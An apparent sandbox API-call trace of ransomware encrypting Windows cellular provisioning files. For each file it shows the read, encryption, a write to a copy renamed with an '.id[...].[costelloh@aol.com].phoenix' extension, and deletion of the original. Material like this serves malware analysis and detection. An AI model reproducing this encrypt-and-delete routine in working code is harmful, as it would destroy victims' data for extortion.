	[0244.298] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0244.300] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151700) returned 1
	[0244.300] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.300] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x280, lpOverlapped=0x0) returned 1
	[0244.814] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0244.814] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0244.815] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0244.815] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.815] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0244.815] CryptDestroyKey (hKey=0x151040) returned 1
	[0244.815] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0244.815] CryptDestroyKey (hKey=0x151700) returned 1
	[0244.815] CloseHandle (hObject=0x2c4) returned 1
	[0244.816] CloseHandle (hObject=0x2d8) returned 1
	[0244.816] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.817] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0244.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0244.817] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=708) returned 1
	[0244.817] CloseHandle (hObject=0x2d8) returned 1
	[0244.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.818] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0244.818] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.818] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.818] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.818] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0244.818] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.818] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c4, lpOverlapped=0x0) returned 1
	[0244.853] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0244.853] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0244.854] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0244.854] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.854] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0244.854] CryptDestroyKey (hKey=0x151100) returned 1
	[0244.854] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0244.854] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0244.854] CloseHandle (hObject=0x2d8) returned 1
	[0244.854] CloseHandle (hObject=0x2c4) returned 1
	[0244.854] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\263__connections_cellular_u mobile (malaysia)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.855] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0244.855] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.855] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=851) returned 1
	[0244.855] CloseHandle (hObject=0x2c4) returned 1
	[0244.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.856] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.856] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0244.856] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0244.856] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.856] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x353, lpOverlapped=0x0) returned 1
	[0244.933] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0244.933] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0244.934] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0244.934] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.934] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0244.934] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0244.934] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0244.934] CryptDestroyKey (hKey=0x151040) returned 1
	[0244.934] CloseHandle (hObject=0x2c4) returned 1
	[0244.934] CloseHandle (hObject=0x2d8) returned 1
	[0244.934] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\266__connections_cellular_vodafone malta (malta)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.935] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0244.935] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0244.936] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0244.936] CloseHandle (hObject=0x2d8) returned 1
	[0244.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0244.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0244.936] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.936] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.936] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.937] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0244.937] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.937] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0244.938] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0244.938] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0244.939] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0244.939] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.939] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0244.940] CryptDestroyKey (hKey=0x151640) returned 1
	[0244.940] WriteFile (in: hFile=0x2c4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0244.940] CryptDestroyKey (hKey=0x151440) returned 1
	[0244.940] CloseHandle (hObject=0x2d8) returned 1
	[0244.940] CloseHandle (hObject=0x2c4) returned 1
	[0244.940] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0244.941] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0244.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.942] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=705) returned 1
	[0244.942] CloseHandle (hObject=0x2c4) returned 1
	[0244.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.942] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.942] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0244.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0244.943] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0244.943] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0244.943] ReadFile (in: hFile=0x2c4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c1, lpOverlapped=0x0) returned 1
	[0245.131] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0245.131] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0245.206] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0245.207] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0245.207] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0245.207] CryptDestroyKey (hKey=0x151500) returned 1
